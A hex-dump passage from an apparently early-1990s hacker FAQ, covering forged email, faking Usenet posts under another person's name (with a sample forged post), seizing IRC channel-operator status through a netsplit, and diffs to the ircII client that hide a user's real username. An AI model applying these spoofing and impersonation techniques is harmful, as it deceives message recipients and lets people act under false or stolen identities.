|00004300| 0d 0a 09 50 6c 65 61 73 | 65 20 64 69 73 63 6f 6e |...Pleas|e discon|
|00004310| 74 69 6e 75 65 20 79 6f | 75 72 20 73 69 6c 6c 79 |tinue yo|ur silly|
|00004320| 20 43 6c 69 70 70 65 72 | 20 69 6e 69 74 69 61 74 | Clipper| initiat|
|00004330| 69 76 65 2e 0d 0a 20 2e | 0d 0a 20 51 55 49 54 0d |ive... .|.. QUIT.|
|00004340| 0a 0d 0a 4f 6e 20 73 79 | 73 74 65 6d 73 20 74 68 |...On sy|stems th|
|00004350| 61 74 20 68 61 76 65 20 | 52 46 43 20 39 33 31 20 |at have |RFC 931 |
|00004360| 69 6d 70 6c 65 6d 65 6e | 74 65 64 2c 20 73 70 6f |implemen|ted, spo|
|00004370| 6f 66 69 6e 67 20 79 6f | 75 72 20 22 4d 41 49 4c |ofing yo|ur "MAIL|
|00004380| 20 46 52 4f 4d 3a 22 0d | 0a 6c 69 6e 65 20 77 69 | FROM:".|.line wi|
|00004390| 6c 6c 20 6e 6f 74 20 77 | 6f 72 6b 2e 20 20 54 65 |ll not w|ork. Te|
|000043a0| 73 74 20 62 79 20 73 65 | 6e 64 69 6e 67 20 79 6f |st by se|nding yo|
|000043b0| 75 72 73 65 6c 66 20 66 | 61 6b 65 6d 61 69 6c 20 |urself f|akemail |
|000043c0| 66 69 72 73 74 2e 0d 0a | 0d 0a 46 6f 72 20 6d 6f |first...|..For mo|
|000043d0| 72 65 20 69 6e 66 6f 72 | 6d 61 74 69 6f 6e 6d 20 |re infor|mationm |
|000043e0| 72 65 61 64 20 52 46 43 | 20 38 32 32 20 22 53 74 |read RFC| 822 "St|
|000043f0| 61 6e 64 61 72 64 20 66 | 6f 72 20 74 68 65 20 66 |andard f|or the f|
|00004400| 6f 72 6d 61 74 20 6f 66 | 20 41 52 50 41 0d 0a 49 |ormat of| ARPA..I|
|00004410| 6e 74 65 72 6e 65 74 20 | 74 65 78 74 20 6d 65 73 |nternet |text mes|
|00004420| 73 61 67 65 73 2e 22 0d | 0a 0d 0a 0d 0a 31 33 2e |sages.".|.....13.|
|00004430| 20 48 6f 77 20 64 6f 20 | 49 20 66 61 6b 65 20 70 | How do |I fake p|
|00004440| 6f 73 74 73 20 74 6f 20 | 55 73 65 4e 65 74 3f 0d |osts to |UseNet?.|
|00004450| 0a 0d 0a 55 73 65 20 69 | 6e 65 77 73 20 74 6f 20 |...Use i|news to |
|00004460| 70 6f 73 74 2e 20 20 47 | 69 76 65 20 69 6e 65 77 |post. G|ive inew|
|00004470| 73 20 74 68 65 20 66 6f | 6c 6c 6f 77 69 6e 67 20 |s the fo|llowing |
|00004480| 6c 69 6e 65 73 3a 0d 0a | 0d 0a 20 46 72 6f 6d 3a |lines:..|.. From:|
|00004490| 0d 0a 20 4e 65 77 73 67 | 72 6f 75 70 73 3a 0d 0a |.. Newsg|roups:..|
|000044a0| 20 53 75 62 6a 65 63 74 | 3a 0d 0a 20 4d 65 73 73 | Subject|:.. Mess|
|000044b0| 61 67 65 2d 49 44 3a 0d | 0a 20 44 61 74 65 3a 0d |age-ID:.|. Date:.|
|000044c0| 0a 20 4f 72 67 61 6e 69 | 7a 61 74 69 6f 6e 3a 0d |. Organi|zation:.|
|000044d0| 0a 0d 0a 46 6f 72 20 61 | 20 6d 6f 64 65 72 61 74 |...For a| moderat|
|000044e0| 65 64 20 6e 65 77 73 67 | 72 6f 75 70 2c 20 69 6e |ed newsg|roup, in|
|000044f0| 65 77 73 20 77 69 6c 6c | 20 61 6c 73 6f 20 72 65 |ews will| also re|
|00004500| 71 75 69 72 65 20 74 68 | 69 73 20 6c 69 6e 65 3a |quire th|is line:|
|00004510| 0d 0a 0d 0a 20 41 70 70 | 72 6f 76 65 64 3a 0d 0a |.... App|roved:..|
|00004520| 0d 0a 54 68 65 6e 20 61 | 64 64 20 79 6f 75 72 20 |..Then a|dd your |
|00004530| 70 6f 73 74 20 61 6e 64 | 20 74 65 72 6d 69 6e 61 |post and| termina|
|00004540| 74 65 20 77 69 74 68 20 | 3c 43 6f 6e 74 72 6f 6c |te with |<Control|
|00004550| 2d 44 3e 2e 0d 0a 0d 0a | 45 78 61 6d 70 6c 65 3a |-D>.....|Example:|
|00004560| 0d 0a 0d 0a 20 46 72 6f | 6d 3a 20 45 72 69 63 20 |.... Fro|m: Eric |
|00004570| 53 2e 20 52 65 61 6c 0d | 0a 20 4e 65 77 73 67 72 |S. Real.|. Newsgr|
|00004580| 6f 75 70 73 3a 20 61 6c | 74 2e 68 61 63 6b 65 72 |oups: al|t.hacker|
|00004590| 73 0d 0a 20 53 75 62 6a | 65 63 74 3a 20 50 61 74 |s.. Subj|ect: Pat|
|000045a0| 68 65 74 69 63 20 62 75 | 6e 63 68 20 6f 66 20 77 |hetic bu|nch of w|
|000045b0| 61 6e 6e 61 62 65 20 6c | 6f 73 65 72 73 0d 0a 20 |annabe l|osers.. |
|000045c0| 4d 65 73 73 61 67 65 2d | 49 44 3a 20 3c 65 73 72 |Message-|ID: <esr|
|000045d0| 2e 31 32 33 40 6c 6f 63 | 6b 65 2e 63 63 69 6c 2e |.123@loc|ke.ccil.|
|000045e0| 6f 72 67 3e 0d 0a 20 44 | 61 74 65 3a 20 46 72 69 |org>.. D|ate: Fri|
|000045f0| 2c 20 31 33 20 41 75 67 | 20 31 39 39 34 20 31 32 |, 13 Aug| 1994 12|
|00004600| 3a 31 35 3a 30 33 0d 0a | 20 4f 72 67 61 6e 69 7a |:15:03..| Organiz|
|00004610| 61 74 69 6f 6e 3a 20 4d | 6f 72 61 6c 20 4d 61 6a |ation: M|oral Maj|
|00004620| 6f 72 69 74 79 0d 0a 0d | 0a 20 41 20 70 61 74 68 |ority...|. A path|
|00004630| 65 74 69 63 20 62 75 6e | 63 68 20 6f 66 20 77 61 |etic bun|ch of wa|
|00004640| 6e 6e 61 62 65 20 6c 6f | 73 65 72 73 20 69 73 20 |nnabe lo|sers is |
|00004650| 77 68 61 74 20 6d 6f 73 | 74 20 6f 66 20 79 6f 75 |what mos|t of you|
|00004660| 20 61 72 65 2c 20 77 69 | 74 68 20 6e 6f 0d 0a 20 | are, wi|th no.. |
|00004670| 72 69 67 68 74 20 74 6f | 20 73 74 65 61 6c 20 74 |right to| steal t|
|00004680| 68 65 20 68 6f 6e 6f 72 | 61 62 6c 65 20 74 69 74 |he honor|able tit|
|00004690| 6c 65 20 6f 66 20 60 68 | 61 63 6b 65 72 27 20 74 |le of `h|acker' t|
|000046a0| 6f 20 70 75 66 66 20 75 | 70 20 79 6f 75 72 20 73 |o puff u|p your s|
|000046b0| 69 6c 6c 79 0d 0a 20 61 | 64 6f 6c 65 73 63 65 6e |illy.. a|dolescen|
|000046c0| 74 20 65 67 6f 73 2e 20 | 47 65 74 20 73 74 75 66 |t egos. |Get stuf|
|000046d0| 66 65 64 2c 20 67 65 74 | 20 6c 6f 73 74 2c 20 61 |fed, get| lost, a|
|000046e0| 6e 64 20 67 6f 20 74 6f | 20 6a 61 69 6c 2e 0d 0a |nd go to| jail...|
|000046f0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00004700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004710| 20 20 20 20 20 20 20 20 | 20 20 45 72 69 63 20 53 | | Eric S|
|00004720| 2e 20 52 65 61 6c 20 3c | 65 73 72 40 6c 6f 63 6b |. Real <|esr@lock|
|00004730| 65 2e 63 63 69 6c 2e 6f | 72 67 3e 0d 0a 0d 0a 0d |e.ccil.o|rg>.....|
|00004740| 0a 20 5e 44 0d 0a 0d 0a | 4e 6f 74 65 20 74 68 61 |. ^D....|Note tha|
|00004750| 74 20 6d 61 6e 79 20 73 | 79 73 74 65 6d 73 20 77 |t many s|ystems w|
|00004760| 69 6c 6c 20 61 70 70 65 | 6e 64 20 61 6e 20 4f 72 |ill appe|nd an Or|
|00004770| 69 67 69 6e 61 74 6f 72 | 3a 20 6c 69 6e 65 20 74 |iginator|: line t|
|00004780| 6f 20 79 6f 75 72 20 6d | 65 73 73 61 67 65 0d 0a |o your m|essage..|
|00004790| 68 65 61 64 65 72 2c 20 | 65 66 66 65 63 74 69 76 |header, |effectiv|
|000047a0| 65 6c 79 20 72 65 76 65 | 61 6c 69 6e 67 20 74 68 |ely reve|aling th|
|000047b0| 65 20 61 63 63 6f 75 6e | 74 20 66 72 6f 6d 20 77 |e accoun|t from w|
|000047c0| 68 69 63 68 20 74 68 65 | 20 6d 65 73 73 61 67 65 |hich the| message|
|000047d0| 20 77 61 73 0d 0a 70 6f | 73 74 65 64 2e 0d 0a 0d | was..po|sted....|
|000047e0| 0a 0d 0a 31 34 2e 20 48 | 6f 77 20 64 6f 20 49 20 |...14. H|ow do I |
|000047f0| 68 61 63 6b 20 43 68 61 | 6e 4f 70 20 6f 6e 20 49 |hack Cha|nOp on I|
|00004800| 52 43 3f 0d 0a 0d 0a 46 | 69 6e 64 20 61 20 73 65 |RC?....F|ind a se|
|00004810| 72 76 65 72 20 74 68 61 | 74 20 69 73 20 73 70 6c |rver tha|t is spl|
|00004820| 69 74 20 66 72 6f 6d 20 | 74 68 65 20 72 65 73 74 |it from |the rest|
|00004830| 20 6f 66 20 49 52 43 20 | 61 6e 64 20 63 72 65 61 | of IRC |and crea|
|00004840| 74 65 20 79 6f 75 72 20 | 6f 77 6e 0d 0a 63 68 61 |te your |own..cha|
|00004850| 6e 6e 65 6c 20 74 68 65 | 72 65 20 75 73 69 6e 67 |nnel the|re using|
|00004860| 20 74 68 65 20 6e 61 6d | 65 20 6f 66 20 74 68 65 | the nam|e of the|
|00004870| 20 63 68 61 6e 6e 65 6c | 20 79 6f 75 20 77 61 6e | channel| you wan|
|00004880| 74 20 43 68 61 6e 4f 70 | 20 6f 6e 2e 20 20 57 68 |t ChanOp| on. Wh|
|00004890| 65 6e 0d 0a 74 68 61 74 | 20 73 65 72 76 65 72 20 |en..that| server |
|000048a0| 72 65 63 6f 6e 6e 65 63 | 74 73 20 74 6f 20 74 68 |reconnec|ts to th|
|000048b0| 65 20 6e 65 74 2c 20 79 | 6f 75 20 77 69 6c 6c 20 |e net, y|ou will |
|000048c0| 68 61 76 65 20 43 68 61 | 6e 4f 70 20 6f 6e 20 74 |have Cha|nOp on t|
|000048d0| 68 65 20 72 65 61 6c 0d | 0a 63 68 61 6e 6e 65 6c |he real.|.channel|
|000048e0| 2e 20 20 49 66 20 79 6f | 75 20 68 61 76 65 20 53 |. If yo|u have S|
|000048f0| 65 72 76 65 72 4f 70 20 | 6f 6e 20 61 20 73 65 72 |erverOp |on a ser|
|00004900| 76 65 72 2c 20 79 6f 75 | 20 63 61 6e 20 63 61 75 |ver, you| can cau|
|00004910| 73 65 20 69 74 20 74 6f | 20 73 70 6c 69 74 0d 0a |se it to| split..|
|00004920| 6f 6e 20 70 75 72 70 6f | 73 65 2e 0d 0a 0d 0a 0d |on purpo|se......|
|00004930| 0a 31 35 2e 20 48 6f 77 | 20 64 6f 20 49 20 6d 6f |.15. How| do I mo|
|00004940| 64 69 66 79 20 74 68 65 | 20 49 52 43 20 63 6c 69 |dify the| IRC cli|
|00004950| 65 6e 74 20 74 6f 20 68 | 69 64 65 20 6d 79 20 72 |ent to h|ide my r|
|00004960| 65 61 6c 20 75 73 65 72 | 6e 61 6d 65 3f 0d 0a 0d |eal user|name?...|
|00004970| 0a 47 65 74 20 74 68 65 | 20 49 52 43 20 63 6c 69 |.Get the| IRC cli|
|00004980| 65 6e 74 20 66 72 6f 6d | 20 63 73 2e 62 75 2e 65 |ent from| cs.bu.e|
|00004990| 64 75 20 2f 69 72 63 2f | 63 6c 69 65 6e 74 73 2e |du /irc/|clients.|
|000049a0| 20 20 4c 6f 6f 6b 20 61 | 74 20 74 68 65 20 73 6f | Look a|t the so|
|000049b0| 75 72 63 65 0d 0a 63 6f | 64 65 20 66 69 6c 65 73 |urce..co|de files|
|000049c0| 20 69 72 63 2e 63 20 61 | 6e 64 20 63 74 63 70 2e | irc.c a|nd ctcp.|
|000049d0| 63 2e 20 20 54 68 65 20 | 63 6f 64 65 20 79 6f 75 |c. The |code you|
|000049e0| 20 61 72 65 20 6c 6f 6f | 6b 69 6e 67 20 66 6f 72 | are loo|king for|
|000049f0| 20 69 73 20 66 61 69 72 | 6c 79 0d 0a 65 61 73 79 | is fair|ly..easy|
|00004a00| 20 74 6f 20 73 70 6f 74 | 2e 20 20 43 68 61 6e 67 | to spot|. Chang|
|00004a10| 65 20 69 74 2e 20 43 68 | 61 6e 67 65 20 74 68 65 |e it. Ch|ange the|
|00004a20| 20 75 73 65 72 6e 61 6d | 65 20 63 6f 64 65 20 69 | usernam|e code i|
|00004a30| 6e 20 69 72 63 2e 63 20 | 61 6e 64 20 74 68 65 0d |n irc.c |and the.|
|00004a40| 0a 63 74 63 70 20 69 6e | 66 6f 72 6d 61 74 69 6f |.ctcp in|formatio|
|00004a50| 6e 20 63 6f 64 65 20 69 | 6e 20 63 74 63 70 2e 63 |n code i|n ctcp.c|
|00004a60| 2e 20 20 43 6f 6d 70 69 | 6c 65 20 61 6e 64 20 72 |. Compi|le and r|
|00004a70| 75 6e 20 79 6f 75 72 20 | 63 6c 69 65 6e 74 2e 0d |un your |client..|
|00004a80| 0a 0d 0a 48 65 72 65 20 | 61 72 65 20 74 68 65 20 |...Here |are the |
|00004a90| 64 69 66 66 73 20 66 72 | 6f 6d 20 61 20 73 61 6d |diffs fr|om a sam|
|00004aa0| 70 6c 65 20 68 61 63 6b | 20 6f 66 20 74 68 65 20 |ple hack| of the |
|00004ab0| 49 52 43 20 63 6c 69 65 | 6e 74 2e 20 20 59 6f 75 |IRC clie|nt. You|
|00004ac0| 72 20 63 6c 69 65 6e 74 | 0d 0a 63 6f 64 65 20 77 |r client|..code w|
|00004ad0| 69 6c 6c 20 76 61 72 79 | 20 73 6c 69 67 68 74 6c |ill vary| slightl|
|00004ae0| 79 20 64 65 70 65 6e 64 | 69 6e 67 20 6f 6e 20 77 |y depend|ing on w|
|00004af0| 68 61 74 20 49 52 43 20 | 63 6c 69 65 6e 74 20 76 |hat IRC |client v|
|00004b00| 65 72 73 69 6f 6e 20 79 | 6f 75 20 61 72 65 0d 0a |ersion y|ou are..|
|00004b10| 72 75 6e 6e 69 6e 67 2e | 0d 0a 0d 0a 2a 2a 2a 20 |running.|....*** |
|00004b20| 63 74 63 70 2e 63 2e 6f | 6c 64 20 20 57 65 64 20 |ctcp.c.o|ld Wed |
|00004b30| 46 65 62 20 31 30 20 31 | 30 3a 30 38 3a 30 35 20 |Feb 10 1|0:08:05 |
|00004b40| 31 39 39 33 0d 0a 2d 2d | 2d 20 63 74 63 70 2e 63 |1993..--|- ctcp.c|
|00004b50| 20 20 20 20 20 20 46 72 | 69 20 46 65 62 20 31 32 | Fr|i Feb 12|
|00004b60| 20 30 34 3a 33 33 3a 35 | 35 20 31 39 39 33 0d 0a | 04:33:5|5 1993..|
|00004b70| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 0d |********|*******.|
|00004b80| 0a 2a 2a 2a 20 33 33 31 | 2c 33 33 37 20 2a 2a 2a |.*** 331|,337 ***|
|00004b90| 2a 0d 0a 09 73 74 72 75 | 63 74 20 20 70 61 73 73 |*...stru|ct pass|
|00004ba0| 77 64 20 20 2a 70 77 64 | 3b 0d 0a 09 6c 6f 6e 67 |wd *pwd|;...long|
|00004bb0| 20 20 20 20 64 69 66 66 | 3b 0d 0a 09 69 6e 74 20 | diff|;...int |
|00004bc0| 20 20 20 20 75 69 64 3b | 0d 0a 21 20 20 20 20 20 | uid;|..! |
|00004bd0| 20 20 63 68 61 72 20 20 | 20 20 63 3b 0d 0a 20 20 | char | c;.. |
|00004be0| 0d 0a 09 2f 2a 0d 0a 09 | 20 2a 20 73 6f 6a 67 65 |.../*...| * sojge|
|00004bf0| 20 63 6f 6d 70 6c 61 69 | 6e 65 64 20 74 68 61 74 | complai|ned that|
|00004c00| 20 69 72 63 49 49 20 73 | 61 79 73 20 27 69 64 6c | ircII s|ays 'idl|
|00004c10| 65 20 31 20 73 65 63 6f | 6e 64 73 27 0d 0a 2d 2d |e 1 seco|nds'..--|
|00004c20| 2d 20 33 33 31 2c 33 33 | 37 20 2d 2d 2d 2d 0d 0a |- 331,33|7 ----..|
|00004c30| 09 73 74 72 75 63 74 20 | 20 70 61 73 73 77 64 20 |.struct | passwd |
|00004c40| 20 2a 70 77 64 3b 0d 0a | 09 6c 6f 6e 67 20 20 20 | *pwd;..|.long |
|00004c50| 20 64 69 66 66 3b 0d 0a | 09 69 6e 74 20 20 20 20 | diff;..|.int |
|00004c60| 20 75 69 64 3b 0d 0a 21 | 20 20 20 20 20 20 20 63 | uid;..!| c|
|00004c70| 68 61 72 20 20 20 20 63 | 2c 20 2a 66 69 6e 67 3b |har c|, *fing;|
|00004c80| 0d 0a 20 20 0d 0a 09 2f | 2a 0d 0a 09 20 2a 20 73 |.. .../|*... * s|
|00004c90| 6f 6a 67 65 20 63 6f 6d | 70 6c 61 69 6e 65 64 20 |ojge com|plained |
|00004ca0| 74 68 61 74 20 69 72 63 | 49 49 20 73 61 79 73 20 |that irc|II says |
|00004cb0| 27 69 64 6c 65 20 31 20 | 73 65 63 6f 6e 64 73 27 |'idle 1 |seconds'|
|00004cc0| 0d 0a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..******|********|
|00004cd0| 2a 0d 0a 2a 2a 2a 20 33 | 34 38 2c 33 35 34 20 2a |*..*** 3|48,354 *|
|00004ce0| 2a 2a 2a 0d 0a 09 69 66 | 20 28 75 69 64 20 21 3d |***...if| (uid !=|
|00004cf0| 20 44 41 45 4d 4f 4e 5f | 55 49 44 29 0d 0a 09 7b | DAEMON_|UID)...{|
|00004d00| 0d 0a 20 20 23 65 6e 64 | 69 66 20 2f 2a 20 44 41 |.. #end|if /* DA|
|00004d10| 45 4d 4f 4e 5f 55 49 44 | 20 2a 2f 20 20 20 20 20 |EMON_UID| */ |
|00004d20| 20 20 0d 0a 21 20 20 20 | 20 20 20 20 20 20 20 20 | ..! | |
|00004d30| 20 20 20 20 69 66 20 28 | 70 77 64 20 3d 20 67 65 | if (|pwd = ge|
|00004d40| 74 70 77 75 69 64 28 75 | 69 64 29 29 0d 0a 09 09 |tpwuid(u|id))....|
|00004d50| 7b 0d 0a 09 09 09 63 68 | 61 72 20 20 20 20 2a 74 |{.....ch|ar *t|
|00004d60| 6d 70 3b 0d 0a 20 20 0d | 0a 2d 2d 2d 20 33 34 38 |mp;.. .|.--- 348|
|00004d70| 2c 33 35 36 20 2d 2d 2d | 2d 0d 0a 09 69 66 20 28 |,356 ---|-...if (|
|00004d80| 75 69 64 20 21 3d 20 44 | 41 45 4d 4f 4e 5f 55 49 |uid != D|AEMON_UI|
|00004d90| 44 29 0d 0a 09 7b 0d 0a | 20 20 23 65 6e 64 69 66 |D)...{..| #endif|
|00004da0| 20 2f 2a 20 44 41 45 4d | 4f 4e 5f 55 49 44 20 2a | /* DAEM|ON_UID *|
|00004db0| 2f 20 20 20 20 20 20 20 | 0d 0a 21 20 20 20 20 20 |/ |..! |
|00004dc0| 20 20 20 20 20 20 20 20 | 20 20 69 66 20 28 66 69 | | if (fi|
|00004dd0| 6e 67 20 3d 20 67 65 74 | 65 6e 76 28 22 49 52 43 |ng = get|env("IRC|
|00004de0| 46 49 4e 47 45 52 22 29 | 29 0d 0a 21 20 20 20 20 |FINGER")|)..! |
|00004df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004e00| 20 20 20 73 65 6e 64 5f | 63 74 63 70 5f 72 65 70 | send_|ctcp_rep|
|00004e10| 6c 79 28 66 72 6f 6d 2c | 20 63 74 63 70 2d 3e 6e |ly(from,| ctcp->n|
|00004e20| 61 6d 65 2c 20 66 69 6e | 67 2c 20 64 69 66 66 2c |ame, fin|g, diff,|
|00004e30| 20 63 29 3b 0d 0a 21 20 | 20 20 20 20 20 20 20 20 | c);..! | |
|00004e40| 20 20 20 20 20 20 65 6c | 73 65 20 69 66 20 28 70 | el|se if (p|
|00004e50| 77 64 20 3d 20 67 65 74 | 70 77 75 69 64 28 75 69 |wd = get|pwuid(ui|
|00004e60| 64 29 29 0d 0a 09 09 7b | 0d 0a 09 09 09 63 68 61 |d))....{|.....cha|
|00004e70| 72 20 20 20 20 2a 74 6d | 70 3b 0d 0a 20 20 0d 0a |r *tm|p;.. ..|
|00004e80| 2a 2a 2a 20 69 72 63 2e | 63 2e 6f 6c 64 20 20 20 |*** irc.|c.old |
|00004e90| 57 65 64 20 46 65 62 20 | 31 30 20 30 36 3a 33 33 |Wed Feb |10 06:33|
|00004ea0| 3a 31 31 20 31 39 39 33 | 0d 0a 2d 2d 2d 20 69 72 |:11 1993|..--- ir|
|00004eb0| 63 2e 63 20 20 20 20 20 | 20 20 46 72 69 20 46 65 |c.c | Fri Fe|
|00004ec0| 62 20 31 32 20 30 34 3a | 30 32 3a 31 31 20 31 39 |b 12 04:|02:11 19|
|00004ed0| 39 33 0d 0a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |93..****|********|
|00004ee0| 2a 2a 2a 0d 0a 2a 2a 2a | 20 35 31 30 2c 35 31 36 |***..***| 510,516|
|00004ef0| 20 2a 2a 2a 2a 0d 0a 09 | 09 6d 61 6c 6c 6f 63 5f | ****...|.malloc_|
|00004f00| 73 74 72 63 70 79 28 26 | 6d 79 5f 70 61 74 68 2c |strcpy(&|my_path,|
|00004f10| 20 22 2f 22 29 3b 0d 0a | 09 69 66 20 28 2a 72 65 | "/");..|.if (*re|
|00004f20| 61 6c 6e 61 6d 65 20 3d | 3d 20 6e 75 6c 6c 28 63 |alname =|= null(c|
|00004f30| 68 61 72 29 29 0d 0a 09 | 09 73 74 72 6d 63 70 79 |har))...|.strmcpy|
|00004f40| 28 72 65 61 6c 6e 61 6d | 65 2c 20 22 2a 55 6e 6b |(realnam|e, "*Unk|
|00004f50| 6e 6f 77 6e 2a 22 2c 20 | 52 45 41 4c 4e 41 4d 45 |nown*", |REALNAME|
|00004f60| 5f 4c 45 4e 29 3b 0d 0a | 21 20 20 20 20 20 20 20 |_LEN);..|! |
|00004f70| 69 66 20 28 2a 75 73 65 | 72 6e 61 6d 65 20 3d 3d |if (*use|rname ==|
|00004f80| 20 6e 75 6c 6c 28 63 68 | 61 72 29 29 0d 0a 09 7b | null(ch|ar))...{|
|00004f90| 0d 0a 09 09 69 66 20 28 | 70 74 72 20 3d 20 67 65 |....if (|ptr = ge|
|00004fa0| 74 65 6e 76 28 22 55 53 | 45 52 22 29 29 0d 0a 09 |tenv("US|ER"))...|
|00004fb0| 09 09 73 74 72 6d 63 70 | 79 28 75 73 65 72 6e 61 |..strmcp|y(userna|
|00004fc0| 6d 65 2c 20 70 74 72 2c | 20 4e 41 4d 45 5f 4c 45 |me, ptr,| NAME_LE|
|00004fd0| 4e 29 3b 0d 0a 2d 2d 2d | 20 35 31 30 2c 35 31 38 |N);..---| 510,518|
|00004fe0| 20 2d 2d 2d 2d 0d 0a 09 | 09 6d 61 6c 6c 6f 63 5f | ----...|.malloc_|
|00004ff0| 73 74 72 63 70 79 28 26 | 6d 79 5f 70 61 74 68 2c |strcpy(&|my_path,|
|00005000| 20 22 2f 22 29 3b 0d 0a | 09 69 66 20 28 2a 72 65 | "/");..|.if (*re|
|00005010| 61 6c 6e 61 6d 65 20 3d | 3d 20 6e 75 6c 6c 28 63 |alname =|= null(c|
|00005020| 68 61 72 29 29 0d 0a 09 | 09 73 74 72 6d 63 70 79 |har))...|.strmcpy|
|00005030| 28 72 65 61 6c 6e 61 6d | 65 2c 20 22 2a 55 6e 6b |(realnam|e, "*Unk|
|00005040| 6e 6f 77 6e 2a 22 2c 20 | 52 45 41 4c 4e 41 4d 45 |nown*", |REALNAME|
|00005050| 5f 4c 45 4e 29 3b 0d 0a | 21 20 20 20 20 20 20 20 |_LEN);..|! |
|00005060| 69 66 20 28 70 74 72 20 | 3d 20 67 65 74 65 6e 76 |if (ptr |= getenv|
|00005070| 28 22 49 52 43 55 53 45 | 52 22 29 29 0d 0a 21 20 |("IRCUSE|R"))..! |
|00005080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 73 74 | | st|
|00005090| 72 6d 63 70 79 28 75 73 | 65 72 6e 61 6d 65 2c 20 |rmcpy(us|ername, |
|000050a0| 70 74 72 2c 20 4e 41 4d | 45 5f 4c 45 4e 29 3b 0d |ptr, NAM|E_LEN);.|
|000050b0| 0a 21 20 20 20 20 20 20 | 20 65 6c 73 65 20 69 66 |.! | else if|
|000050c0| 20 28 2a 75 73 65 72 6e | 61 6d 65 20 3d 3d 20 6e | (*usern|ame == n|
|000050d0| 75 6c 6c 28 63 68 61 72 | 29 29 0d 0a 09 7b 0d 0a |ull(char|))...{..|
|000050e0| 09 09 69 66 20 28 70 74 | 72 20 3d 20 67 65 74 65 |..if (pt|r = gete|
|000050f0| 6e 76 28 22 55 53 45 52 | 22 29 29 0d 0a 09 09 09 |nv("USER|")).....|
|00005100| 73 74 72 6d 63 70 79 28 | 75 73 65 72 6e 61 6d 65 |strmcpy(|username|
|00005110| 2c 20 70 74 72 2c 20 4e | 41 4d 45 5f 4c 45 4e 29 |, ptr, N|AME_LEN)|
|00005120| 3b 0d 0a 0d 0a 0d 0a 31 | 36 2e 20 48 6f 77 20 74 |;......1|6. How t|
|00005130| 6f 20 49 20 63 68 61 6e | 67 65 20 74 6f 20 64 69 |o I chan|ge to di|
|00005140| 72 65 63 74 6f 72 69 65 | 73 20 77 69 74 68 20 73 |rectorie|s with s|
|00005150| 74 72 61 6e 67 65 20 63 | 68 61 72 61 63 74 65 72 |trange c|haracter|
|00005160| 73 20 69 6e 20 74 68 65 | 6d 3f 0d 0a 0d 0a 54 68 |s in the|m?....Th|
|00005170| 65 73 65 20 64 69 72 65 | 63 74 6f 72 69 65 73 20 |ese dire|ctories |
|00005180| 61 72 65 20 6f 66 74 65 | 6e 20 75 73 65 64 20 62 |are ofte|n used b|
|00005190| 79 20 70 65 6f 70 6c 65 | 20 74 72 79 69 6e 67 20 |y people| trying |
|000051a0| 74 6f 20 68 69 64 65 20 | 69 6e 66 6f 72 6d 61 74 |to hide |informat|
|000051b0| 69 6f 6e 2c 0d 0a 6d 6f | 73 74 20 6f 66 74 65 6e |ion,..mo|st often|
|000051c0| 20 77 61 72 65 7a 20 28 | 63 6f 6d 6d 65 72 63 69 | warez (|commerci|
|000051d0| 61 6c 20 73 6f 66 74 77 | 61 72 65 29 2e 0d 0a 0d |al softw|are)....|
|000051e0| 0a 54 68 65 72 65 20 61 | 72 65 20 73 65 76 65 72 |.There a|re sever|
|000051f0| 61 6c 20 74 68 69 6e 67 | 73 20 79 6f 75 20 63 61 |al thing|s you ca|
|00005200| 6e 20 64 6f 20 74 6f 20 | 64 65 74 65 72 6d 69 6e |n do to |determin|
|00005210| 65 20 77 68 61 74 20 74 | 68 65 73 65 20 73 74 72 |e what t|hese str|
|00005220| 61 6e 67 65 0d 0a 63 68 | 61 72 61 63 74 65 72 73 |ange..ch|aracters|
|00005230| 20 61 72 65 2e 20 20 4f | 6e 65 20 69 73 20 74 6f | are. O|ne is to|
|00005240| 20 75 73 65 20 74 68 65 | 20 61 72 67 75 6d 65 6e | use the| argumen|
|00005250| 74 73 20 74 6f 20 74 68 | 65 20 6c 73 20 63 6f 6d |ts to th|e ls com|
|00005260| 6d 61 6e 64 20 74 68 61 | 74 0d 0a 63 61 75 73 65 |mand tha|t..cause|
|00005270| 20 6c 73 20 74 6f 20 67 | 69 76 65 20 79 6f 75 20 | ls to g|ive you |
|00005280| 6d 6f 72 65 20 69 6e 66 | 6f 72 6d 61 74 69 6f 6e |more inf|ormation|
|00005290| 3a 0d 0a 0d 0a 46 72 6f | 6d 20 74 68 65 20 6d 61 |:....Fro|m the ma|
|000052a0| 6e 20 70 61 67 65 20 66 | 6f 72 20 6c 73 3a 0d 0a |n page f|or ls:..|
|000052b0| 0d 0a 20 20 20 20 2d 46 | 20 20 20 43 61 75 73 65 |.. -F| Cause|
|000052c0| 73 20 64 69 72 65 63 74 | 6f 72 69 65 73 20 74 6f |s direct|ories to|
|000052d0| 20 62 65 20 6d 61 72 6b | 65 64 20 77 69 74 68 20 | be mark|ed with |
|000052e0| 61 20 74 72 61 69 6c 69 | 6e 67 20 60 60 2f 27 27 |a traili|ng ``/''|
|000052f0| 2c 0d 0a 09 20 65 78 65 | 63 75 74 61 62 6c 65 20 |,... exe|cutable |
|00005300| 66 69 6c 65 73 20 74 6f | 20 62 65 20 6d 61 72 6b |files to| be mark|
|00005310| 65 64 20 77 69 74 68 20 | 61 20 74 72 61 69 6c 69 |ed with |a traili|
|00005320| 6e 67 20 60 60 2a 27 27 | 2c 20 61 6e 64 0d 0a 09 |ng ``*''|, and...|
|00005330| 20 73 79 6d 62 6f 6c 69 | 63 20 6c 69 6e 6b 73 20 | symboli|c links |
|00005340| 74 6f 20 62 65 20 6d 61 | 72 6b 65 64 20 77 69 74 |to be ma|rked wit|
|00005350| 68 20 61 20 74 72 61 69 | 6c 69 6e 67 20 60 60 40 |h a trai|ling ``@|
|00005360| 27 27 20 73 79 6d 62 6f | 6c 2e 0d 0a 0d 0a 20 20 |'' symbo|l..... |
|00005370| 20 20 2d 71 20 20 20 46 | 6f 72 63 65 73 20 70 72 | -q F|orces pr|
|00005380| 69 6e 74 69 6e 67 20 6f | 66 20 6e 6f 6e 2d 67 72 |inting o|f non-gr|
|00005390| 61 70 68 69 63 20 63 68 | 61 72 61 63 74 65 72 73 |aphic ch|aracters|
